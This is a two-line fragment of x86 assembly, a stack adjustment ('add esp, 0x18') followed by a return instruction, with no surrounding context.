add esp, 0x18
ret